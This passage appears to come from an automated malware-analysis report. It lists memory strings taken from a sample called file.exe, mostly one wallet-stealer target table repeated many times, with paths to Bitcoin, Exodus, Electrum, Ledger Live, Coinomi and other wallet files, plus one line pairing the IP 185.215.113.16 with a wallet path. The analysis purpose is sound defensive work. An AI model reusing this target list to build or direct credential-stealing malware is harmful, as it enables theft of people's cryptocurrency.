Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session 